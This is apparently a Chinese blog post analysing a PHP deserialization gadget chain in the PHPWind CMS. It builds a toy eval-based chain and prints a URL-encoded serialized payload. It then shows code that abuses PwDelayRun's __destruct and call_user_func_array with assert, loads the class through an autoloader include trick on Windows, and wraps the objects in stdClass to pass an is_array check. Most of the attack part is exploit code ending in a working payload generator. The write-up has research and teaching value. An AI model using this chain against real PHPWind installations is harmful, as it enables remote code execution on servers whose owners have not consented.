PHP wind反序列化分析

PHP WIND 是很久之前一款優秀的cms
PHP反序列化 是一種不斷利用php方法 最終調用到危險函數 從而getshell的方法
主要通過各類魔術方法 從而調用到危險函數
我們先來分析一個簡單的鏈條

反序列化小例

class Woniu {
    private $a;
    function __construct() {
        $this->a = new Test();
    }

    function __destruct() {
        $this->a->hello();
    }
}

class Test {
    function hello() {
        echo "Hello World.";
    }
}

class Vul {
    protected $data;

    function hello() {
        @eval($this->data);
    }



}

这条链触发的源一定是__wakeup() 而终点一定是通过vul类的hello方法来执行恶意代码:
只需要构造简单链:

class Woniu {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}

class Vul{
	 var $data='phpinfo();';
}
$ans=new Woniu();
echo urlencode(serialize($ans));

得到值O%3A5%3A"Woniu"%3A1%3A%7Bs%3A8%3A"%00Woniu%00a"%3BO%3A3%3A"Vul"%3A1%3A%7Bs%3A7%3A"%00%2A%00data"%3Bs%3A10%3A"phpinfo%28%29%3B"%3B%7D%7D

传入后
image
说明可以getshell

通过重构类 来达到执行恶意代码的目的

在phpwind中就存在这样的问题

phpwind源码分析

入手点当然是魔术方法
经寻找 存在以下类有危险函数以及魔术方法

class PwDelayRun {
	
	private static $instance = null;
	private $_callback = array();
	private $_args = array();

	private function __construct() {

	}

	public function __destruct() {
		foreach ($this->_callback as $key => $value) {
			call_user_func_array($value, $this->_args[$key]);
		}
	}
}

显然 该链较为简单 通过call_user_func_array()函数构造shell

但是在代码运行时 实际上并没有加载该类PwDelayRun
此时就需要对任意php文件进行包含
通过寻找找到函数:

	/**
	 * 初始化框架
	 */
	public static function init() {
		self::$isDebug = WIND_DEBUG;
		function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');
		self::register(WIND_PATH, 'WIND', true);
		if (!self::$_isAutoLoad) return;
		if (function_exists('spl_autoload_register'))
			spl_autoload_register('Wind::autoLoad');
		else
			self::$_isAutoLoad = false;
		self::_loadBaseLib();
	}
# 其中spl_autoload_register函数将wind中的autoload函数进行了自动注册
	public static function autoLoad($className, $path = '') {
		if ($path)
			include $path . '.' . self::$_extensions;
		elseif (isset(self::$_classes[$className])) {
			include self::$_classes[$className] . '.' . self::$_extensions;
		} else
			include $className . '.' . self::$_extensions;
	}
#而autoload函数通过include对类进行了加载而很巧的是php命名空间允许\的出现
#于是构造利用链:(注意 由于\只在windows中可以作为路径使用 在linux中这一漏洞并不适用)
namespace src\library\utility
{
	class PwDelayRun{
	
	}
}
# 先对类进行加载
namespace {
	class PwDelayRun{
	private $_callback;
		private $_args;
		function __construct()
		{
        $this->_callback = [
			'assert'
        ];
        $this->_args = [
			["phpinfo();exit;"]
        ];
	}
}
# 进行对恶意函数的构造 然后序列化

但由于该代码对数组进行了判断 没能自动触发__destruct方法

public function beforeAction($handlerAdapter) {
		parent::beforeAction($handlerAdapter);
		$var = unserialize($this->getInput('var'));
		if (is_array($var)) {
			$this->setOutput($var, 'condition');
		}
		# 如果是数组 将输出定向到了output中可以使用对象模拟数组
$obj = new stdClass();
$obj->a =  new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}

最终得到payload

posted @ 2024-06-11 19:59  f0r9  阅读(11)  评论(0编辑  收藏  举报